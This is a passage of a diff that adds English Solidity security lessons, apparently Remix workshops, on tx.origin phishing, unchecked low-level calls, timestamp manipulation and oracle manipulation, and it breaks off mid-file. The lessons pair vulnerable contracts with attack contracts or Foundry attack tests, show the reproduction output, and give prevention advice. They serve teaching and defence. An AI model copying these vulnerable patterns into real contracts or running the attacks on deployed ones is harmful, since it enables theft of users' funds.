owner, "Not owner"); + // Transfer ETH + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +} +``` + +### Attack Contract + +Next is the attack contract, which has a simple attack logic. It constructs an `attack()` function to perform phishing and transfer the balance of the bank contract owner to the hacker. It has two state variables, `hacker` and `bank`, to record the hacker's address and the address of the bank contract to be attacked. + +It includes `2` functions: + +- Constructor: Initializes the `bank` contract address. +- `attack()`: The attack function that requires the `owner` address of the bank contract to call. When the `owner` calls the attack contract, the attack contract calls the `transfer()` function of the bank contract. After confirming `tx.origin == owner`, it transfers the entire balance from the bank contract to the hacker's address. + +```solidity +contract Attack { + // Beneficiary address + address payable public hacker; + // Bank contract address + Bank bank; + + constructor(Bank _bank) { + // Forces the conversion of the address type _bank to the Bank type + bank = Bank(_bank); + // Assigns the beneficiary address to the deployer's address + hacker = payable(msg.sender); + } + + function attack() public { + // Induces the owner of the Bank contract to call, transferring all the balance to the hacker's address + bank.transfer(hacker, address(bank).balance); + } +} +``` + +## Reproduce on `Remix` + +**1.** Set the `value` to 10ETH, then deploy the `Bank` contract, and the owner address `owner` is initialized as the deployed contract address. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S12_TxOrigin_en/step1/img/S12-2.jpg) + +**2.** Switch to another wallet as the hacker wallet, fill in the address of the bank contract to be attacked, and then deploy the `Attack` contract. The hacker address `hacker` is initialized as the deployed contract address. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S12_TxOrigin_en/step1/img/S12-3.jpg) + +**3.** Switch back to the `owner` address. At this point, we were induced to call the `attack()` function of the `Attack` contract. As a result, the balance of the `Bank` contract is emptied, and the hacker's address gains 10ETH. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S12_TxOrigin_en/step1/img/S12-4.jpg) + +## Prevention Methods + +Currently, there are two main methods to prevent potential `tx.origin` phishing attacks. + +### 1. Use `msg.sender` instead of `tx.origin` + +`msg.sender` can obtain the address of the direct caller of the current contract. By verifying `msg.sender`, the entire calling process can be protected from external attack contracts. + +```solidity +function transfer(address payable _to, uint256 _amount) public { + require(msg.sender == owner, "Not owner"); + + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); +} +``` + +### 2. Verify `tx.origin == msg.sender` + +If you must use `tx.origin`, you can also verify that `tx.origin` is equal to `msg.sender`. This can prevent external contract calls from interfering with the current contract. However, the downside is that other contracts will not be able to call this function. + +```solidity + function transfer(address payable _to, uint _amount) public { + require(tx.origin == owner, "Not owner"); + require(tx.origin == msg.sender, "can't call by external contract"); + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +``` + +## Summary + +In this lesson, we discussed the `tx.origin` phishing attack in smart contracts. There are two methods to prevent it: using `msg.sender` instead of `tx.origin`, or checking `tx.origin == msg.sender`. It is recommended to use the first method, as the latter will reject all calls from other contracts. diff --git a/S13_UncheckedCall_en/config.yml b/S13_UncheckedCall_en/config.yml new file mode 100644 index 000000000..503d72100 --- /dev/null +++ b/S13_UncheckedCall_en/config.yml @@ -0,0 +1,11 @@ +id: s13-unchecked-low-level-calls +name: S13. Unchecked Low-Level Calls +summary: Discover the risks of unchecked low-level calls that fail silently. Learn why you must always check return values from call, delegatecall, and send operations. +level: 2 +tags: +- solidity +- security +- transfer/send/call +steps: +- name: Unchecked Low-Level Calls + path: step1 diff --git a/S13_UncheckedCall_en/readme.md b/S13_UncheckedCall_en/readme.md new file mode 100644 index 000000000..c5ec0d16c --- /dev/null +++ b/S13_UncheckedCall_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S13. Unchecked Low-Level Calls +tags: + - solidity + - security + - transfer/send/call +--- + +# WTF Solidity S13. Unchecked Low-Level Calls + +In this lesson, we will discuss the unchecked low-level calls in smart contracts. Failed low-level calls will not cause the transaction to roll back. If the contract forgets to check its return value, serious problems will often occur. + + + diff --git a/S13_UncheckedCall_en/step1/UncheckedCall.sol b/S13_UncheckedCall_en/step1/UncheckedCall.sol new file mode 100644 index 000000000..49f1a7cc9 --- /dev/null +++ b/S13_UncheckedCall_en/step1/UncheckedCall.sol @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +// english translation by 22X +pragma solidity ^0.8.21; + +contract UncheckedBank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all ether from msg.sender + function withdraw() external { + // Get the balance + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + balanceOf[msg.sender] = 0; + // Unchecked low-level call + bool success = payable(msg.sender).send(balance); + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +contract Attack { + UncheckedBank public bank; // Bank contract address + + // Initialize the Bank contract address + constructor(UncheckedBank _bank) { + bank = _bank; + } + + // Callback function, transfer will fail + receive() external payable { + revert(); + } + + // Deposit function, set msg.value as the deposit amount + function deposit() external payable { + bank.deposit{value: msg.value}(); + } + + // Withdraw function, although the call is successful, the withdrawal actually fails + function withdraw() external payable { + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} diff --git a/S13_UncheckedCall_en/step1/img/S13-1.png b/S13_UncheckedCall_en/step1/img/S13-1.png new file mode 100644 index 000000000..853cc649c Binary files /dev/null and b/S13_UncheckedCall_en/step1/img/S13-1.png differ diff --git a/S13_UncheckedCall_en/step1/step1.md b/S13_UncheckedCall_en/step1/step1.md new file mode 100644 index 000000000..a61988b17 --- /dev/null +++ b/S13_UncheckedCall_en/step1/step1.md @@ -0,0 +1,129 @@ +--- +title: S13. Unchecked Low-Level Calls +tags: + - solidity + - security + - transfer/send/call +--- + +# WTF Solidity S13. Unchecked Low-Level Calls + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss the unchecked low-level calls in smart contracts. Failed low-level calls will not cause the transaction to roll back. If the contract forgets to check its return value, serious problems will often occur. + +## Low-Level Calls + +Low-level calls in Ethereum include `call()`, `delegatecall()`, `staticcall()`, and `send()`. These functions are different from other functions in Solidity. When an exception occurs, they do not pass it to the upper layer, nor do they cause the transaction to revert; they only return a boolean value `false` to indicate that the call failed. Therefore, if the return value of the low-level function call is not checked, the code of the upper-layer function will continue to run regardless of whether the low-level call fails or not. For more information about low-level calls, please read [WTF Solidity 20-23](https://github.com/AmazingAng/WTF-Solidity) + +Calling `send()` is the most error-prone: some contracts use `send()` to send `ETH`, but `send()` limits the gas to be less than 2300, otherwise it will fail. When the callback function of the target address is more complicated, the gas spent will be higher than 2300, which will cause `send()` to fail. If the return value is not checked in the upper layer function at this time, the transaction will continue to execute, and unexpected problems will occur. In 2016, there was a chain game called `King of Ether`, which caused the refund to fail to be sent normally due to this vulnerability (["autopsy" report](https://www.kingoftheether.com/postmortem.html)). + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S13_UncheckedCall_en/step1/img/S13-1.png) + +## Vulnerable Contract Example + +### Bank Contract + +This contract is modified based on the bank contract in the `S01 Reentrancy Attack` tutorial. It contains `1` state variable `balanceOf` to record the Ethereum balance of all users; and contains `3` functions: +- `deposit()`: deposit function, deposit `ETH` into the bank contract, and update the user's balance. +- `withdraw()`: withdrawal function, transfer the caller's balance to it. The specific steps are the same as the story above: check the balance, update the balance, and transfer. **Note: This function does not check the return value of `send()`, the withdrawal fails but the balance will be cleared!** +- `getBalance()`: Get the `ETH` balance in the bank contract. + +```solidity +contract UncheckedBank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all ether from msg.sender + function withdraw() external { + // Get the balance + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + balanceOf[msg.sender] = 0; + // Unchecked low-level call + bool success = payable(msg.sender).send(balance); + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Attack Contract + +We constructed an attack contract, which depicts an unlucky depositor whose withdrawal failed but the bank balance was cleared: the `revert()` in the contract callback function `receive()` will roll back the transaction, so it cannot receive `ETH`; but the withdrawal function `withdraw()` can be called normally and clear the balance. + +```solidity +contract Attack { + UncheckedBank public bank; // Bank contract address + + // Initialize the Bank contract address + constructor(UncheckedBank _bank) { + bank = _bank; + } + + // Callback function, transfer will fail + receive() external payable { + revert(); + } + + // Deposit function, set msg.value as the deposit amount + function deposit() external payable { + bank.deposit{value: msg.value}(); + } + + // Withdraw function, although the call is successful, the withdrawal actually fails + function withdraw() external payable { + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `UncheckedBank` contract. + +2. Deploy the `Attack` contract, and fill in the `UncheckedBank` contract address in the constructor. + +3. Call the `deposit()` deposit function of the `Attack` contract to deposit `1 ETH`. + +4. Call the `withdraw()` withdrawal function of the `Attack` contract to withdraw, the call is successful. + +5. Call the `balanceOf()` function of the `UncheckedBank` contract and the `getBalance()` function of the `Attack` contract respectively. Although the previous call was successful and the depositor's balance was cleared, the withdrawal failed. + +## How to Prevent + +You can use the following methods to prevent the unchecked low-level call vulnerability: + +1. Check the return value of the low-level call. In the bank contract above, we can correct `withdraw()`: + ```solidity + bool success = payable(msg.sender).send(balance); + require(success, "Failed Sending ETH!") + ``` + +2. When transferring `ETH` in the contract, use `call()` and do reentrancy protection. + +3. Use the `Address` [library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol) of `OpenZeppelin`, which encapsulates the low-level call that checks the return value. + +## Summary + +We introduced the vulnerability of unchecked low-level calls and how to prevent them. Ethereum's low-level calls (`call`, `delegatecall`, `staticcall`, `send`) will return a boolean value `false` when they fail, but they will not cause the entire transaction to revert. If the developer does not check it, an accident will occur. diff --git a/S14_TimeManipulation_en/config.yml b/S14_TimeManipulation_en/config.yml new file mode 100644 index 000000000..ef7c81589 --- /dev/null +++ b/S14_TimeManipulation_en/config.yml @@ -0,0 +1,11 @@ +id: s14-block-timestamp-manipulation +name: S14. Block Timestamp Manipulation +summary: Explore how miners can manipulate block timestamps and exploit time-dependent contracts. Learn safe practices for using block.timestamp in your smart contracts. +level: 2 +tags: +- solidity +- security +- timestamp +steps: +- name: Block Timestamp Manipulation + path: step1 diff --git a/S14_TimeManipulation_en/readme.md b/S14_TimeManipulation_en/readme.md new file mode 100644 index 000000000..aaa15bd89 --- /dev/null +++ b/S14_TimeManipulation_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S14. Block Timestamp Manipulation +tags: + - solidity + - security + - timestamp +--- + +# WTF Solidity S14. Block Timestamp Manipulation + +In this lesson, we will introduce the block timestamp manipulation attack on smart contracts and reproduce it using Foundry. Before the merge, Ethereum miners can manipulate the block timestamp. If the pseudo-random number of the lottery contract depends on the block timestamp, it may be attacked. + + + diff --git a/S14_TimeManipulation_en/step1/src/TimeManipulation.sol b/S14_TimeManipulation_en/step1/src/TimeManipulation.sol new file mode 100644 index 000000000..805b85db9 --- /dev/null +++ b/S14_TimeManipulation_en/step1/src/TimeManipulation.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// English translation by 22X +pragma solidity ^0.8.21; +import "openzeppelin-contracts/token/ERC721/ERC721.sol"; + +contract TimeManipulation is ERC721 { + uint256 totalSupply; + + // Constructor: Initialize the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: Only mint when the block timestamp is divisible by 170 + function luckyMint() external returns(bool success){ + if(block.timestamp % 170 == 0){ + _mint(msg.sender, totalSupply); // mint + totalSupply++; + success = true; + }else{ + success = false; + } + } +} \ No newline at end of file diff --git a/S14_TimeManipulation_en/step1/step1.md b/S14_TimeManipulation_en/step1/step1.md new file mode 100644 index 000000000..2fce20a52 --- /dev/null +++ b/S14_TimeManipulation_en/step1/step1.md @@ -0,0 +1,142 @@ +--- +title: S14. Block Timestamp Manipulation +tags: + - solidity + - security + - timestamp +--- + +# WTF Solidity S14. Block Timestamp Manipulation + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the block timestamp manipulation attack on smart contracts and reproduce it using Foundry. Before the merge, Ethereum miners can manipulate the block timestamp. If the pseudo-random number of the lottery contract depends on the block timestamp, it may be attacked. + +## Block Timestamp + +Block timestamp is a `uint64` value contained in the Ethereum block header, which represents the UTC timestamp (in seconds) when the block was created. Before the merge, Ethereum adjusts the block difficulty according to the computing power, so the block time is not fixed, and an average of 14.5s per block. Miners can manipulate the block timestamp; after the merge, it is changed to a fixed 12s per block, and the validator cannot manipulate the block timestamp. + +In Solidity, developers can get the current block timestamp through the global variable `block.timestamp`, which is of type `uint256`. + +## Vulnerable Contract Example + +This example is modified from the contract in [WTF Solidity S07. Bad Randomness](https://github.com/AmazingAng/WTF-Solidity/tree/main/32_Faucet). We changed the condition of the `mint()` minting function: it can only be successfully minted when the block timestamp can be divided by 170: + +```solidity +contract TimeManipulation is ERC721 { + uint256 totalSupply; + + // Constructor: Initialize the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: Only mint when the block timestamp is divisible by 170 + function luckyMint() external returns(bool success){ + if(block.timestamp % 170 == 0){ + _mint(msg.sender, totalSupply); // mint + totalSupply++; + success = true; + }else{ + success = false; + } + } +} +``` + +## Reproduce on Foundry + +Attackers only need to manipulate the block timestamp and set it to a number that can be divided by 170, and they can successfully mint NFTs. We chose Foundry to reproduce this attack because it provides a cheat code to modify the block timestamp. If you are not familiar with Foundry/cheatcode, you can read the [Foundry tutorial](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md) and [Foundry Book](https://book.getfoundry.sh/forge/cheatcodes). + +1. Create a `TimeManipulation` contract variable `nft`. +2. Create a wallet address `alice`. +3. Use the cheatcode `vm.warp()` to change the block timestamp to 169, which cannot be divided by 170, and the minting fails. +4. Use the cheatcode `vm.warp()` to change the block timestamp to 17000, which can be divided by 170, and the minting succeeds. + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/TimeManipulation.sol"; + +contract TimeManipulationTest is Test { + TimeManipulation public nft; + + // Computes address for a given private key + address alice = vm.addr(1); + + function setUp() public { + nft = new TimeManipulation(); + } + + // forge test -vv --match-test testMint + function testMint() public { + console.log("Condition 1: block.timestamp % 170 != 0"); + // Set block.timestamp to 169 + vm.warp(169); + console.log("block.timestamp: %s", block.timestamp); + // Sets all subsequent calls' msg.sender to be the input address + // until `stopPrank` is called + vm.startPrank(alice); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + + // Set block.timestamp to 17000 + console.log("Condition 2: block.timestamp % 170 == 0"); + vm.warp(17000); + console.log("block.timestamp: %s", block.timestamp); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + vm.stopPrank(); + } +} + +``` + +After installing Foundry, start a new project and install the openzeppelin library by entering the following command on the command line: + +```shell +forge init TimeMnipulation +cd TimeMnipulation +forge install Openzeppelin/openzeppelin-contracts +``` + +Copy the code of this lesson to the `src` and `test` directories respectively, and then start the test case with the following command: + +```shell +forge test -vv --match-test testMint +``` + +The test result is as follows: + +```shell +Running 1 test for test/TimeManipulation.t.sol:TimeManipulationTest +[PASS] testMint() (gas: 94666) +Logs: + Condition 1: block.timestamp % 170 != 0 + block.timestamp: 169 + alice balance before mint: 0 + alice balance after mint: 0 + Condition 2: block.timestamp % 170 == 0 + block.timestamp: 17000 + alice balance before mint: 0 + alice balance after mint: 1 + +Test result: ok. 1 passed; 0 failed; finished in 7.64ms +``` + +We can see that when we modify `block.timestamp` to 17000, the minting is successful. + +## Summary + +In this lesson, we introduced the block timestamp manipulation attack on smart contracts and reproduced it using Foundry. Before the merge, Ethereum miners can manipulate the block timestamp. If the pseudo-random number of the lottery contract depends on the block timestamp, it may be attacked. After the merge, Ethereum changed to a fixed 12s per block, and the validator cannot manipulate the block timestamp. Therefore, this type of attack will not occur on Ethereum, but it may still be encountered on other public chains. diff --git a/S14_TimeManipulation_en/step1/test/TimeManipulation.t.sol b/S14_TimeManipulation_en/step1/test/TimeManipulation.t.sol new file mode 100644 index 000000000..66aaea601 --- /dev/null +++ b/S14_TimeManipulation_en/step1/test/TimeManipulation.t.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/TimeManipulation.sol"; + +contract TimeManipulationTest is Test { + TimeManipulation public nft; + + // Computes address for a given private key + address alice = vm.addr(1); + + function setUp() public { + nft = new TimeManipulation(); + } + + // forge test -vv --match-test testMint + function testMint() public { + console.log("Condition 1: block.timestamp % 170 != 0"); + // Set block.timestamp to 169 + vm.warp(169); + console.log("block.timestamp: %s", block.timestamp); + // Sets all subsequent calls' msg.sender to be the input address + // until `stopPrank` is called + vm.startPrank(alice); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + + // Set block.timestamp to 17000 + console.log("Condition 2: block.timestamp % 170 == 0"); + vm.warp(17000); + console.log("block.timestamp: %s", block.timestamp); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + vm.stopPrank(); + } +} diff --git a/S15_OracleManipulation_en/config.yml b/S15_OracleManipulation_en/config.yml new file mode 100644 index 000000000..18efaac58 --- /dev/null +++ b/S15_OracleManipulation_en/config.yml @@ -0,0 +1,11 @@ +id: s15-oracle-manipulation +name: S15. Oracle Manipulation +summary: Study oracle manipulation attacks that exploit price feed vulnerabilities. Learn how flash loans enable these attacks and discover secure oracle integration patterns. +level: 2 +tags: +- solidity +- security +- oracle +steps: +- name: Oracle Manipulation + path: step1 diff --git a/S15_OracleManipulation_en/readme.md b/S15_OracleManipulation_en/readme.md new file mode 100644 index 000000000..8afaed8c7 --- /dev/null +++ b/S15_OracleManipulation_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S15. Oracle Manipulation +tags: + - solidity + - security + - oracle +--- + +# WTF Solidity S15. Oracle Manipulation + +In this lesson, we will introduce the oracle manipulation attack on smart contracts and reproduce it using Foundry. In the example, we use `1 ETH` to exchange for 17 trillion stablecoins. In 2021, oracle manipulation attacks caused user asset losses of more than 200 million U.S. dollars. + + + diff --git a/S15_OracleManipulation_en/step1/img/S15-1.png b/S15_OracleManipulation_en/step1/img/S15-1.png new file mode 100644 index 000000000..fca502c4f Binary files /dev/null and b/S15_OracleManipulation_en/step1/img/S15-1.png differ diff --git a/S15_OracleManipulation_en/step1/src/Oracle.sol b/S15_OracleManipulation_en/step1/src/Oracle.sol new file mode 100644 index 000000000..df4e91b47 --- /dev/null +++ b/S15_OracleManipulation_en/step1/src/Oracle.sol @@ -0,0 +1,124 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "openzeppelin-contracts/token/ERC20/IERC20.sol"; +import "openzeppelin-contracts/token/ERC20/ERC20.sol"; + +contract oUSD is ERC20{ + // Mainnet contracts + address public constant FACTORY_V2 = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + + IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); + IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); + IERC20 public weth = IERC20(WETH); + IERC20 public busd = IERC20(BUSD); + + constructor() ERC20("Oracle USD","oUSD"){} + + // Get ETH price + function getPrice() public view returns (uint256 price) { + // Reserves in the pair + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Instantaneous price of ETH + price = reserve0/reserve1; + } + + function swap() external payable returns (uint256 amount){ + // Get price + uint price = getPrice(); + // Calculate exchange amount + amount = price * msg.value; + // Mint tokens + _mint(msg.sender, amount); + } +} + +interface IUniswapV2Factory { + function getPair(address tokenA, address tokenB) + external + view + returns (address pair); +} + +interface IUniswapV2Pair { + function swap( + uint256 amount0Out, + uint256 amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + + function token1() external view returns (address); + + function getReserves() + external + view + returns ( + uint112 reserve0, + uint112 reserve1, + uint32 blockTimestampLast + ); + + function price0CumulativeLast() external view returns (uint); + + function price1CumulativeLast() external view returns (uint); + + function totalSupply() external view returns (uint); + + function balanceOf(address owner) external view returns (uint); +} + +interface IUniswapV2Router { + // Swap related + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + + // Liquidity related + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) + external + returns ( + uint amountA, + uint amountB, + uint liquidity + ); + + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + + function factory() external view returns (address); +} \ No newline at end of file diff --git a/S15_OracleManipulation_en/step1/step1.md b/S15_OracleManipulation_en/step1/step1.md new file mode 100644 index 000000000..85df725f0 --- /dev/null +++ b/S15_OracleManipulation_en/step1/step1.md @@ -0,0 +1,242 @@ +--- +title: S15. Oracle Manipulation +tags: + - solidity + - security + - oracle +--- + +# WTF Solidity S15. Oracle Manipulation + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the oracle manipulation attack on smart contracts and reproduce it using Foundry. In the example, we use `1 ETH` to exchange for 17 trillion stablecoins. In 2021, oracle manipulation attacks caused user asset losses of more than 200 million U.S. dollars. + +## Price Oracle + +For security reasons, the Ethereum Virtual Machine (EVM) is a closed and isolated sandbox. Smart contracts running on the EVM can access on-chain information but cannot actively communicate with the outside world to obtain off-chain information. However, this type of information is crucial for decentralized applications. + +An oracle can help us solve this problem by obtaining information from off-chain data sources and adding it to the blockchain for smart contract use. + +One of the most commonly used oracles is a price oracle, which refers to any data source that allows you to query the price of a token. Typical use cases include: + +- Decentralized lending platforms (AAVE) use it to determine if a borrower has reached the liquidation threshold. +- Synthetic asset platforms (Synthetix) use it to determine the latest asset prices and support 0-slippage trades. +- MakerDAO uses it to determine the price of collateral and mint the corresponding stablecoin, DAI. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S15_OracleManipulation_en/step1/img/S15-1.png) + +## Oracle Vulnerabilities + +If an oracle is not used correctly by developers, it can pose significant security risks. + +- In October 2021, Cream Finance, a DeFi platform on the Binance Smart Chain, suffered a [theft of $130 million in user funds](https://rekt.news/cream-rekt-2/) due to an Oracle vulnerability. +- In May 2022, Mirror Protocol, a synthetic asset platform on the Terra blockchain, suffered a [theft of $115 million in user funds](https://rekt.news/mirror-rekt/) due to an Oracle vulnerability. +- In October 2022, Mango Market, a decentralized lending platform on the Solana blockchain, suffered a [theft of $115 million in user funds](https://rekt.news/mango-markets-rekt/) due to an Oracle vulnerability. + +## Vulnerability Example + +Let's learn about an example of an oracle vulnerability in the `oUSD` contract. This contract is a stablecoin contract that complies with the ERC20 standard. Similar to the Synthetix synthetic asset platform, users can exchange `ETH` for `oUSD` (Oracle USD) with zero slippage in this contract. The exchange price is determined by a custom price oracle (`getPrice()` function), which relies on the instantaneous price of the `WETH-BUSD` pair on Uniswap V2. In the following attack example, we will see how this oracle can be easily manipulated. + +### Vulnerable Contract + +The `oUSD` contract includes `7` state variables to record the addresses of `BUSD`, `WETH`, the Uniswap V2 factory contract, and the `WETH-BUSD` pair contract. + +The `oUSD` contract mainly consists of `3` functions: + +- Constructor: Initializes the name and symbol of the `ERC20` token. +- `getPrice()`: Price oracle function that retrieves the instantaneous price of the `WETH-BUSD` pair on Uniswap V2. This is where the vulnerability lies. + ``` + // Get ETH price + function getPrice() public view returns (uint256 price) { + // Reserves in the pair + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Instantaneous price of ETH + price = reserve0/reserve1; + } + ``` +- `swap()` function, which exchanges `ETH` for `oUSD` at the price given by the oracle. + +Source Code: + +```solidity +contract oUSD is ERC20{ + // Mainnet contracts + address public constant FACTORY_V2 = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + + IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); + IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); + IERC20 public weth = IERC20(WETH); + IERC20 public busd = IERC20(BUSD); + + constructor() ERC20("Oracle USD","oUSD"){} + + // Get ETH price + function getPrice() public view returns (uint256 price) { + // Reserves in the pair + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Instantaneous price of ETH + price = reserve0/reserve1; + } + + function swap() external payable returns (uint256 amount){ + // Get price + uint price = getPrice(); + // Calculate exchange amount + amount = price * msg.value; + // Mint tokens + _mint(msg.sender, amount); + } +} +``` + +### Attack Strategy + +We will attack the vulnerable `getPrice()` function of the price oracle. The steps are as follows: + +1. Prepare some `BUSD`, which can be our own funds or borrowed through flash loans. In the implementation, we use the Foundry's `deal` cheat code to mint ourselves `1,000,000 BUSD` on the local network. +2. Buy a large amount of `WETH` in the `WETH-BUSD` pool on UniswapV2. The specific implementation can be found in the `swapBUSDtoWETH()` function of the attack code. +3. The instantaneous price of `WETH` skyrockets. At this point, we call the `swap()` function to convert `ETH` into `oUSD`. +4. **Optional:** Sell the `WETH` bought in step 2 back to the `WETH-BUSD` pool to recover the principal. + +These 4 steps can be completed in a single transaction. + +### Reproduce on Foundry + +We will use Foundry to reproduce the manipulation attack on the Oracle because it is fast and allows us to create a local fork of the mainnet for testing. If you are not familiar with Foundry, you can read [WTF Solidity Tools T07: Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md). + +1. After installing Foundry, start a new project and install the OpenZeppelin library by running the following command in the command line: + +```shell +forge init Oracle +cd Oracle +forge install Openzeppelin/openzeppelin-contracts +``` + +2. Create an `.env` environment variable file in the root directory and add the mainnet rpc to create a local testnet. + +``` +MAINNET_RPC_URL= https://rpc.ankr.com/eth +``` + +3. Copy the code from this lesson, `Oracle.sol` and `Oracle.t.sol`, to the `src` and `test` folders respectively in the root directory, and then start the attack script with the following command: + +``` +forge test -vv --match-test testOracleAttack +``` + +4. We can see the attack result in the terminal. Before the attack, the oracle `getPrice()` gave a price of `1216 USD` for `ETH`, which is normal. However, after we bought `WETH` in the `WETH-BUSD` pool on UniswapV2 with `1,000,000` BUSD, the price given by the oracle was manipulated to `17,979,841,782,699 USD`. At this point, we can easily exchange `1 ETH` for 17 trillion `oUSD` and complete the attack. + +```shell +Running 1 test for test/Oracle.t.sol:OracleTest +[PASS] testOracleAttack() (gas: 356524) +Logs: + 1. ETH Price (before attack): 1216 + 2. Swap 1,000,000 BUSD to WETH to manipulate the oracle + 3. ETH price (after attack): 17979841782699 + 4. Minted 1797984178269 oUSD with 1 ETH (after attack) + +Test result: ok. 1 passed; 0 failed; finished in 262.94ms +``` + +Attack Code: + +```solidity +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/Oracle.sol"; + +contract OracleTest is Test { + address private constant alice = address(1); + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address private constant BUSD = 